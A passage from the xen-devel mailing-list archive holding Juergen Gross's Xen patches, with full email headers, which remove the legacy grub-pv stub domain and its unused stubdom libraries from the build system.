	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns,suse.com:email,suse.com:dkim,suse.com:mid];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	MIME_TRACE(0.00)[0:+];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	FROM_EQ_ENVFROM(0.00)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCVD_COUNT_TWO(0.00)[2];
	RCVD_TLS_ALL(0.00)[];
	RCPT_COUNT_THREE(0.00)[4];
	DKIM_TRACE(0.00)[suse.com:+]
X-Rspamd-Server: rspamd2.dmz-prg2.suse.org
X-Rspamd-Queue-Id: BAF3379E46
X-Spam-Score: -3.01
X-purgate-ID: tlsNG-16d1c6/1784535533-F480577B-4A5DA928/0/0
X-purgate-type: clean
X-purgate-size: 784

grub-pv was the last user of the stubdom variants of libxenguest and
libxenctrl.

Remove both libraries from the stubdom build system.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 stubdom/Makefile | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/stubdom/Makefile b/stubdom/Makefile
index 2698bddc9d..40b6ececf1 100644
--- a/stubdom/Makefile
+++ b/stubdom/Makefile
@@ -256,9 +256,7 @@ $(CROSS_ROOT): cross-newlib cross-zlib cross-libpci
 # libraries under tools/libs
 #######
 
-STUB_LIBS := toolcore toollog evtchn gnttab call foreignmemory devicemodel ctrl guest manage
-
-LIBDEP_guest := cross-zlib
+STUB_LIBS := toolcore toollog evtchn gnttab call foreignmemory devicemodel manage
 
 #######
 # common handling
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 08:18:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 08:18:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366242.1616131 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljD4-0005eb-V6; Mon, 20 Jul 2026 08:18:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366242.1616131; Mon, 20 Jul 2026 08:18:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljD4-0005eS-RR; Mon, 20 Jul 2026 08:18:46 +0000
Received: by outflank-mailman (input) for mailman id 1366242;
 Mon, 20 Jul 2026 08:18:46 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wljD3-0005an-ES
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 08:18:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wljD2-000Q5E-RK
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:18:44 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dd9de-bab6-0a2a0a5309dd-0a2a4504e28c-34
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:18:44 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dd9e4-b57f-0a2a45040019-c387df8290ac-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:18:44 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id C0DB179E47;
 Mon, 20 Jul 2026 08:18:41 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 5BB48779AA;
 Mon, 20 Jul 2026 08:18:41 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id 3AwQFeHZXWpBXgAAD6G6ig
 (envelope-from <jgross@suse.com>); Mon, 20 Jul 2026 08:18:41 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=fail header.s=susede1 header.d=suse.com header.i="@suse.com"; dkim=fail header.s=susede1 header.d=suse.com header.i="@suse.com"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784535522; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=cNBgcQqFBVXL2663TfGLBiU57c1Js/fPnDLW3L6CWA4=;
	b=W3ruMhhq1vZp+T1rPuWou1XHxgLyKsewPH/82I6JGx3vyUo9WWO+3/9EFzWX0znnhQad3p
	b9WDM0JaeGWFPAcotv7+yLAgY8pt/TAqOqIf+wk2P4BUl0mYaC8mRrf51WUzcl4h3FDrNX
	/T7euxfNY4ZN8yVKwJ0I9ZzQFBuQQhA=
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=liQqSIgr
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784535521; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=cNBgcQqFBVXL2663TfGLBiU57c1Js/fPnDLW3L6CWA4=;
	b=liQqSIgr4J+qlBYp2QEuN9TWPJVrodziEsAbFU32CMO4ZLMrdQS051AumlhmJtpVtzF/xG
	o8er1xbJv54wlF8VzWKc5Qsyv8y9RWal/oV11Gsb+Lhm7+01JwnS+bogQsK4dBoFV0xF2x
	ZYpuT+l8FTAInBp0TAw1satnv00t/zM=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Samuel Thibault <samuel.thibault@ens-lyon.org>
Subject: [PATCH v2 1/5] stubdom: remove support for grub-pv
Date: Mon, 20 Jul 2026 10:18:28 +0200
Message-ID: <20260720081833.4122182-2-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260720081833.4122182-1-jgross@suse.com>
References: <20260720081833.4122182-1-jgross@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Rspamd-Action: no action
X-Spam-Level: 
X-Spamd-Result: default: False [-3.51 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	ARC_NA(0.00)[];
	MIME_TRACE(0.00)[0:+];
	RCPT_COUNT_SEVEN(0.00)[10];
	RCVD_TLS_ALL(0.00)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns];
	DKIM_TRACE(0.00)[suse.com:+]
X-Rspamd-Server: rspamd2.dmz-prg2.suse.org
X-Rspamd-Queue-Id: C0DB179E47
X-Spam-Score: -3.51
X-purgate-ID: tlsNG-ebf023/1784535524-C12DC8F0-A5E02CB7/0/0
X-purgate-type: clean
X-purgate-size: 354672

The Mini-OS based grub-pv is not being built by default since Xen 4.16.
Additionally it can be replaced in most cases by the more modern pvgrub
(part of grub upstream), while grub-pv is based on legacy grub 0.97.

In case someone is really depending on grub-pv, an old build from a
previous Xen version can be used without any problem, as only stable
hypercall interfaces are used by it.

Remove grub-pv from the build system.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
V2:
- moved grub install hook from patch 2 here (Jan Beulich)
---
 Makefile                                      |    6 -
 config/Stubdom.mk.in                          |    3 -
 stubdom/.gitignore                            |    1 -
 stubdom/Makefile                              |   54 -
 stubdom/configure                             |   65 -
 stubdom/configure.ac                          |    2 -
 stubdom/grub.patches/00cvs                    | 1022 -----
 stubdom/grub.patches/10graphics.diff          | 2297 -----------
 stubdom/grub.patches/11graphics-keyboard.diff |   13 -
 stubdom/grub.patches/20print_func.diff        |   52 -
 stubdom/grub.patches/30savedefault.diff       |  186 -
 .../grub.patches/40ext3_256byte_inode.diff    |  114 -
 stubdom/grub.patches/50fs_fulldisk.diff       |   72 -
 stubdom/grub.patches/60ext4.diff              |  474 ---
 stubdom/grub.patches/61btrfs.diff             | 3499 -----------------
 stubdom/grub.patches/70compiler_warnings.diff |   45 -
 stubdom/grub.patches/99minios                 | 1570 --------
 stubdom/grub/Makefile                         |   88 -
 stubdom/grub/boot-x86_32.S                    |  112 -
 stubdom/grub/boot-x86_64.S                    |  108 -
 stubdom/grub/config.h                         |   12 -
 stubdom/grub/kexec.c                          |  434 --
 stubdom/grub/mini-os.c                        |  771 ----
 stubdom/grub/mini-os.h                        |    7 -
 stubdom/grub/minios.cfg                       |    4 -
 stubdom/grub/osdep.h                          |   30 -
 26 files changed, 11041 deletions(-)
 delete mode 100644 stubdom/grub.patches/00cvs
 delete mode 100644 stubdom/grub.patches/10graphics.diff
 delete mode 100644 stubdom/grub.patches/11graphics-keyboard.diff
 delete mode 100644 stubdom/grub.patches/20print_func.diff
 delete mode 100644 stubdom/grub.patches/30savedefault.diff
 delete mode 100644 stubdom/grub.patches/40ext3_256byte_inode.diff
 delete mode 100644 stubdom/grub.patches/50fs_fulldisk.diff
 delete mode 100644 stubdom/grub.patches/60ext4.diff
 delete mode 100644 stubdom/grub.patches/61btrfs.diff
 delete mode 100644 stubdom/grub.patches/70compiler_warnings.diff
 delete mode 100644 stubdom/grub.patches/99minios
 delete mode 100644 stubdom/grub/Makefile
 delete mode 100644 stubdom/grub/boot-x86_32.S
 delete mode 100644 stubdom/grub/boot-x86_64.S
 delete mode 100644 stubdom/grub/config.h
 delete mode 100644 stubdom/grub/kexec.c
 delete mode 100644 stubdom/grub/mini-os.c
 delete mode 100644 stubdom/grub/mini-os.h
 delete mode 100644 stubdom/grub/minios.cfg
 delete mode 100644 stubdom/grub/osdep.h

diff --git a/Makefile b/Makefile
index 67b71ac3d4..ea432e21b0 100644
--- a/Makefile
+++ b/Makefile
@@ -71,9 +71,6 @@ build-tools-oxenstored: build-tools-public-headers
 .PHONY: build-stubdom
 build-stubdom: mini-os-dir build-tools-public-headers
 	$(MAKE) -C stubdom build
-ifeq (x86_64,$(XEN_TARGET_ARCH))
-	XEN_TARGET_ARCH=x86_32 $(MAKE) -C stubdom pv-grub-if-enabled
-endif
 
 define do-subtree
 $(1)/%: FORCE
@@ -149,9 +146,6 @@ install-tools: install-tools-public-headers
 .PHONY: install-stubdom
 install-stubdom: mini-os-dir install-tools-public-headers
 	$(MAKE) -C stubdom install
-ifeq (x86_64,$(XEN_TARGET_ARCH))
-	XEN_TARGET_ARCH=x86_32 $(MAKE) -C stubdom install-grub-if-enabled
-endif
 
 .PHONY: tools/firmware/seabios-dir-force-update
 tools/firmware/seabios-dir-force-update:
diff --git a/config/Stubdom.mk.in b/config/Stubdom.mk.in
index b399d77740..0d70d03941 100644
--- a/config/Stubdom.mk.in
+++ b/config/Stubdom.mk.in
@@ -23,9 +23,6 @@ NEWLIB_URL          := @NEWLIB_URL@
 LWIP_VERSION        := @LWIP_VERSION@
 LWIP_URL            := @LWIP_URL@
 
-GRUB_VERSION        := @GRUB_VERSION@
-GRUB_URL            := @GRUB_URL@
-
 GMP_VERSION         := @GMP_VERSION@
 GMP_URL             := @GMP_URL@
 
diff --git a/stubdom/.gitignore b/stubdom/.gitignore
index 1b69656d45..08f2e9b432 100644
--- a/stubdom/.gitignore
+++ b/stubdom/.gitignore
@@ -9,7 +9,6 @@
 /cross-root-*
 /gcc-*
 /gmp-*
-/grub-*
 /include
 /libs-*
 /libxencall-*
diff --git a/stubdom/Makefile b/stubdom/Makefile
index acd5e56f16..850e8544ca 100644
--- a/stubdom/Makefile
+++ b/stubdom/Makefile
@@ -361,32 +361,6 @@ vtpmmgr-minios-config.mk: $(CURDIR)/vtpmmgr/minios.cfg
 vtpmmgr: cross-polarssl vtpmmgr-minios-config.mk
 	XEN_TARGET_ARCH="$(XEN_TARGET_ARCH)" CPPFLAGS="$(TARGET_CPPFLAGS) $(shell cat vtpmmgr-minios-config.mk)" CFLAGS="$(TARGET_CFLAGS)" $(MAKE) -C $@
 
-######
-# Grub
-######
-
-grub-$(GRUB_VERSION).tar.gz:
-	$(FETCHER) $@ $(GRUB_URL)/$@
-
-grub-upstream: grub-$(GRUB_VERSION).tar.gz
-	tar xzf $<
-	mv grub-$(GRUB_VERSION) $@
-	for i in grub.patches/* ; do \
-		patch -d $@ -p1 < $$i || exit 1; \
-	done
-
-grub/minios.gen.cfg: APP_LIBS = guest ctrl toollog
-grub/minios.gen.cfg: grub/minios.cfg Makefile
-	$(GEN_config) >$@
-
-grub-$(XEN_TARGET_ARCH)-minios-config.mk: grub/minios.gen.cfg
-	MINIOS_CONFIG="$(CURDIR)/$<" CONFIG_FILE="$(CURDIR)/$@" $(MAKE) DESTDIR= -C $(MINI_OS) config
-
-.PHONY: grub
-grub: cross-polarssl grub-upstream $(CROSS_ROOT) grub-$(XEN_TARGET_ARCH)-minios-config.mk
-	mkdir -p grub-$(XEN_TARGET_ARCH)
-	CPPFLAGS="$(TARGET_CPPFLAGS) $(shell cat grub-$(XEN_TARGET_ARCH)-minios-config.mk)" CFLAGS="$(TARGET_CFLAGS)" $(MAKE) DESTDIR= -C $@ OBJ_DIR=$(CURDIR)/grub-$(XEN_TARGET_ARCH)
-
 ##########
 # xenstore
 ##########
@@ -429,17 +403,6 @@ vtpm-stubdom: mini-os-$(XEN_TARGET_ARCH)-vtpm vtpm
 vtpmmgr-stubdom: mini-os-$(XEN_TARGET_ARCH)-vtpmmgr vtpmmgr
 	DEF_CPPFLAGS="$(TARGET_CPPFLAGS)" DEF_CFLAGS="$(TARGET_CFLAGS)" DEF_LDFLAGS="$(TARGET_LDFLAGS)" MINIOS_CONFIG="$(CURDIR)/vtpmmgr/minios.cfg" $(MAKE) -C $(MINI_OS) OBJ_DIR=$(CURDIR)/$< APP_OBJS="$(CURDIR)/vtpmmgr/vtpmmgr.a" APP_LDLIBS="-lm -lpolarssl"
 
-.PHONY: pv-grub
-pv-grub: mini-os-$(XEN_TARGET_ARCH)-grub libxenguest grub
-	DEF_CPPFLAGS="$(TARGET_CPPFLAGS)" DEF_CFLAGS="$(TARGET_CFLAGS)" DEF_LDFLAGS="$(TARGET_LDFLAGS)" MINIOS_CONFIG="$(CURDIR)/grub/minios.gen.cfg" $(MAKE) DESTDIR= -C $(MINI_OS) OBJ_DIR=$(CURDIR)/$< APP_OBJS=$(CURDIR)/grub-$(XEN_TARGET_ARCH)/main.a
-
-.PHONY: pv-grub-if-enabled
-ifneq ($(filter grub,$(STUBDOM_TARGETS)),)
-pv-grub-if-enabled: pv-grub
-else
-pv-grub-if-enabled:
-endif
-
 XENSTORE_DEPS := libxenevtchn libxengnttab libxenmanage
 
 .PHONY: xenstore-stubdom
@@ -460,16 +423,6 @@ else
 install:
 endif
 
-install-grub: pv-grub
-	$(INSTALL_DIR) "$(DESTDIR)$(XENFIRMWAREDIR)"
-	$(INSTALL_DATA) mini-os-$(XEN_TARGET_ARCH)-grub/mini-os.gz "$(DESTDIR)$(XENFIRMWAREDIR)/pv-grub-$(XEN_TARGET_ARCH).gz"
-
-ifneq ($(filter grub,$(STUBDOM_TARGETS)),)
-install-grub-if-enabled: install-grub
-else
-install-grub-if-enabled:
-endif
-
 install-xenstore: xenstore-stubdom
 	$(INSTALL_DIR) "$(DESTDIR)$(XENFIRMWAREDIR)"
 	$(INSTALL_DATA) mini-os-$(XEN_TARGET_ARCH)-xenstore/mini-os.gz "$(DESTDIR)$(XENFIRMWAREDIR)/xenstore-stubdom.gz"
@@ -500,9 +453,6 @@ else
 uninstall:
 endif
 
-uninstall-grub:
-	rm -f $(DESTDIR)$(XENFIRMWAREDIR)/pv-grub-$(XEN_TARGET_ARCH).gz
-
 uninstall-xenstore:
 	rm -f $(DESTDIR)$(XENFIRMWAREDIR)/xenstore-stubdom.gz
 
@@ -523,14 +473,12 @@ uninstall-vtpmmgr:
 .PHONY: clean
 clean: $(foreach lib,$(STUB_LIBS),clean-libxen$(lib))
 clean:
-	rm -fr mini-os-$(XEN_TARGET_ARCH)-grub
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-xenstore
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-xenstorepvh
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-vtpm
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-vtpmmgr
 	$(MAKE) -C vtpm clean
 	$(MAKE) -C vtpmmgr clean
-	rm -fr grub-$(XEN_TARGET_ARCH)
 	rm -f *-minios-config.mk
 	rm -f *.gen.cfg
 	rm -fr pkg-config
@@ -559,7 +507,6 @@ patchclean: crossclean
 	rm -fr polarssl-$(XEN_TARGET_ARCH)
 	rm -fr tpm_emulator-$(XEN_TARGET_ARCH)
 	rm -fr lwip-$(XEN_TARGET_ARCH)
-	rm -fr grub-upstream
 
 # clean downloads
 .PHONY: downloadclean
@@ -569,7 +516,6 @@ downloadclean: patchclean
 	rm -f gmp-$(GMP_VERSION).tar.bz2
 	rm -f tpm_emulator-$(TPMEMU_VERSION).tar.gz
 	rm -f pciutils-$(LIBPCI_VERSION).tar.bz2
-	rm -f grub-$(GRUB_VERSION).tar.gz
 	rm -f lwip-$(LWIP_VERSION).tar.gz
 	rm -f polarssl-$(POLARSSL_VERSION)-gpl.tgz
 
diff --git a/stubdom/configure b/stubdom/configure
index 8a0a798bd2..689ff4d6ed 100755
--- a/stubdom/configure
+++ b/stubdom/configure
@@ -630,8 +630,6 @@ POLARSSL_VERSION
 POLARSSL_URL
 GMP_VERSION
 GMP_URL
-GRUB_VERSION
-GRUB_URL
 LWIP_VERSION
 LWIP_URL
 NEWLIB_VERSION
@@ -660,7 +658,6 @@ extfiles
 debug
 xenstorepvh
 xenstore
-grub
 host_os
 host_vendor
 host_cpu
@@ -711,7 +708,6 @@ SHELL'
 ac_subst_files=''
 ac_user_opts='
 enable_option_checking
-enable_pv_grub
 enable_xenstore_stubdom
 enable_xenstorepvh_stubdom
 enable_vtpm_stubdom
@@ -732,7 +728,6 @@ ZLIB_URL
 LIBPCI_URL
 NEWLIB_URL
 LWIP_URL
-GRUB_URL
 GMP_URL
 POLARSSL_URL
 TPMEMU_URL'
@@ -1358,7 +1353,6 @@ Optional Features:
   --disable-option-checking  ignore unrecognized --enable/--with options
   --disable-FEATURE       do not include FEATURE (same as --enable-FEATURE=no)
   --enable-FEATURE[=ARG]  include FEATURE [ARG=yes]
-  --enable-pv-grub        Build and install pv-grub (default is DISABLED)
   --disable-xenstore-stubdom
                           Build and install xenstore-stubdom (default is
                           ENABLED)
@@ -1385,7 +1379,6 @@ Some influential environment variables:
   LIBPCI_URL  Download url for libpci
   NEWLIB_URL  Download url for newlib
   LWIP_URL    Download url for lwip
-  GRUB_URL    Download url for grub
   GMP_URL     Download url for libgmp
   POLARSSL_URL
               Download url for polarssl
@@ -2403,47 +2396,6 @@ case $host_os in *\ *) host_os=`echo "$host_os" | sed 's/ /-/g'`;; esac
 
 # Enable/disable stub domains
 
-# Check whether --enable-pv-grub was given.
-if test ${enable_pv_grub+y}
-then :
-  enableval=$enable_pv_grub;
-
-if test "x$enableval" = "xyes"
-then :
-
-
-grub=y
-STUBDOM_TARGETS="$STUBDOM_TARGETS grub"
-STUBDOM_BUILD="$STUBDOM_BUILD pv-grub"
-STUBDOM_INSTALL="$STUBDOM_INSTALL install-grub"
-STUBDOM_UNINSTALL="$STUBDOM_UNINSTALL install-grub"
-
-
-else $as_nop
-
-if test "x$enableval" = "xno"
-then :
-
-
-grub=n
-
-
-fi
-
-fi
-
-
-else $as_nop
-
-
-grub=n
-
-
-fi
-
-
-
-
 # Check whether --enable-xenstore-stubdom was given.
 if test ${enable_xenstore_stubdom+y}
 then :
@@ -4137,23 +4089,6 @@ LWIP_VERSION="1.3.0"
 
 
 
-if test "x$GRUB_URL" = "x"
-then :
-
-	if test "x$extfiles" = "xy"
-then :
-  GRUB_URL=\$\(XEN_EXTFILES_URL\)
-else $as_nop
-  GRUB_URL="https://alpha.gnu.org/gnu/grub"
-fi
-
-fi
-GRUB_VERSION="0.97"
-
-
-
-
-
 if test "x$GMP_URL" = "x"
 then :
 
diff --git a/stubdom/configure.ac b/stubdom/configure.ac
index 33f170144e..6ff3ab0ee9 100644
--- a/stubdom/configure.ac
+++ b/stubdom/configure.ac
@@ -18,7 +18,6 @@ m4_include([../m4/depends.m4])
 m4_include([../m4/fetcher.m4])
 
 # Enable/disable stub domains
-AX_STUBDOM_DEFAULT_DISABLE([pv-grub], [grub])
 AX_STUBDOM_DEFAULT_ENABLE([xenstore-stubdom], [xenstore])
 AX_STUBDOM_DEFAULT_ENABLE([xenstorepvh-stubdom], [xenstorepvh])
 AX_STUBDOM_CONDITIONAL([vtpm-stubdom], [vtpm])
@@ -43,7 +42,6 @@ AX_STUBDOM_LIB([ZLIB], [zlib], [1.2.3])
 AX_STUBDOM_LIB([LIBPCI], [libpci], [2.2.9], [https://mirrors.edge.kernel.org/pub/software/utils/pciutils])
 AX_STUBDOM_LIB([NEWLIB], [newlib], [1.16.0], [https://sourceware.org/ftp/newlib])
 AX_STUBDOM_LIB([LWIP], [lwip], [1.3.0], [https://download.savannah.gnu.org/releases/lwip])
-AX_STUBDOM_LIB([GRUB], [grub], [0.97], [https://alpha.gnu.org/gnu/grub])
 AX_STUBDOM_LIB([GMP], [libgmp], [4.3.2], [https://gmplib.org/download/gmp/archive])
 AX_STUBDOM_LIB([POLARSSL], [polarssl], [1.1.4])
 AX_STUBDOM_LIB([TPMEMU], [berlios tpm emulator], [0.7.4])
diff --git a/stubdom/grub.patches/00cvs b/stubdom/grub.patches/00cvs
deleted file mode 100644
index 47d66f3a3b..0000000000
--- a/stubdom/grub.patches/00cvs
+++ /dev/null
@@ -1,1022 +0,0 @@
-diff -uprN grub-0.97/acinclude.m4 grub/acinclude.m4
---- grub-0.97/acinclude.m4	2004-04-27 21:48:06.000000000 +0100
-+++ grub/acinclude.m4	2007-11-05 01:29:46.000000000 +0000
-@@ -57,7 +57,7 @@ else
- fi
- grub_cv_prog_objcopy_absolute=yes
- for link_addr in 2000 8000 7C00; do
--  if AC_TRY_COMMAND([${CC-cc} ${CFLAGS} -nostdlib -Wl,-N -Wl,-Ttext -Wl,$link_addr conftest.o -o conftest.exec]); then :
-+  if AC_TRY_COMMAND([${CC-cc} ${CFLAGS} ${LDFLAGS} -nostdlib -Wl,-N -Wl,-Ttext -Wl,$link_addr conftest.o -o conftest.exec]); then :
-   else
-     AC_MSG_ERROR([${CC-cc} cannot link at address $link_addr])
-   fi
-diff -uprN grub-0.97/ChangeLog grub/ChangeLog
---- grub-0.97/ChangeLog	2005-05-08 03:47:02.000000000 +0100
-+++ grub/ChangeLog	2008-05-20 12:04:18.000000000 +0100
-@@ -1,3 +1,127 @@
-+2008-05-20  Robert Millan  <rmh@aybabtu.com>
-+
-+	* netboot/cs89x0.c: Fix license violation.
-+	* netboot/cs89x0.h: Likewise.
-+
-+2008-04-10  Pavel Roskin  <proski@gnu.org>
-+
-+	* configure.ac: Always use "_cv_" in cache variables for
-+	compatibility with Autoconf 2.62.
-+
-+2008-03-28  Robert Millan  <rmh@aybabtu.com>
-+
-+	Surpass 1 TiB disk addressing limit.  Note: there are no plans to handle
-+	the 2 TiB disk limit in GRUB Legacy, since that would need considerable
-+	rework.  If you have >2TiB disks, use GRUB 2 instead.
-+
-+	* grub/asmstub.c (biosdisk): Add unsigned qualifier to `sector'.
-+	* stage2/bios.c (biosdisk): Likewise.
-+	* stage2/disk_io.c (rawread, devread, rawwrite, devwrite): Likewise.
-+	* stage2/shared.h (rawread, devread, rawwrite, devwrite): Likewise.
-+	* lib/device.c (get_drive_geometry): Replace BLKGETSIZE with
-+	BLKGETSIZE64.
-+
-+2007-10-29  Pavel Roskin  <proski@gnu.org>
-+
-+	* configure.ac: Test if '--build-id=none' is supported by the
-+	linker and add it to LDFLAGS if possible.  Build ID causes
-+	objcopy to generate huge binary files.
-+	* aclocal.m4 (grub_PROG_OBJCOPY_ABSOLUTE): Use LDFLAGS when
-+	linking, so that build ID doesn't break the test.
-+	* stage1/Makefile.am: Preserve LDFLAGS, use stage1_exec_LDFLAGS.
-+
-+2007-02-22  Pavel Roskin  <proski@gnu.org>
-+
-+	* stage2/iso9660.h: Remove unnecessary packed attributes.
-+
-+2007-02-22  Robert Millan  <rmh@aybabtu.com>
-+
-+	* util/mkbimage: Update my email address, and remove my name from
-+	some places where unnecessary credit is given.
-+
-+2006-09-10  Pavel Roskin  <proski@gnu.org>
-+
-+	* netboot/natsemi.c: Fix compile error with gcc 4.1.1.  Cast
-+	cannot make a variable volatile - it should be declared as such.
-+	* netboot/sis900.c: Likewise.
-+
-+2006-09-08  Pavel Roskin  <proski@gnu.org>
-+
-+	* netboot/etherboot.h: Remove incorrect extern declarations of
-+	the variables later declared static.  Move BOOTP_DATA_ADDR ...
-+	* netboot/main.c: ... here.  Eliminate end_of_rfc1533 - it's
-+	write-only.
-+
-+2006-06-24  Yoshinori K. Okuji  <okuji@enbug.org>
-+
-+	* docs/grub.texi: Changed the license term to the GNU Free
-+	Documentation License 1.2.
-+
-+	* docs/multiboot.texi: Reformatted to show the license term
-+	and the version number explicitly.
-+	
-+	* docs/fdl.texi: New file.
-+	
-+	* docs/Makefile.am (grub_TEXINFOS): Added fdl.texi.
-+
-+2006-06-24  Robert Millan  <robertmh@gnu.org>
-+
-+	* lib/device.c (write_to_partition): /dev/ataraid/ and /dev/rd/
-+	partitions have a "p" prefix.  Add it.
-+
-+2006-06-24  Robert Millan  <robertmh@gnu.org>
-+
-+	* lib/device.c (get_i2o_disk_name): New function.
-+	(init_device_map) [__linux__]: Add support for I2O devices.
-+
-+2006-05-02  Pavel Roskin  <proski@gnu.org>
-+
-+	* stage2/stage2.c (run_menu): Fix "savedefault" to save only top
-+	level menu positions.  Remember current position when calling a
-+	submenu.  Don't recalculate it when booting from a submenu.
-+
-+	* grub/main.c (main): Make sure the boot drive number doesn't
-+	exceed 255.
-+
-+2006-05-02  Vesa Jaaskelainen  <chaac@nic.fi>
-+
-+	* stage2/shared.h (vbe_mode): Back ported aligment fix from GRUB 2
-+	to GRUB Legacy.  Problem reported by Gerardo Richarte.
-+
-+2006-04-23  Robert Millan  <robertmh@gnu.org>
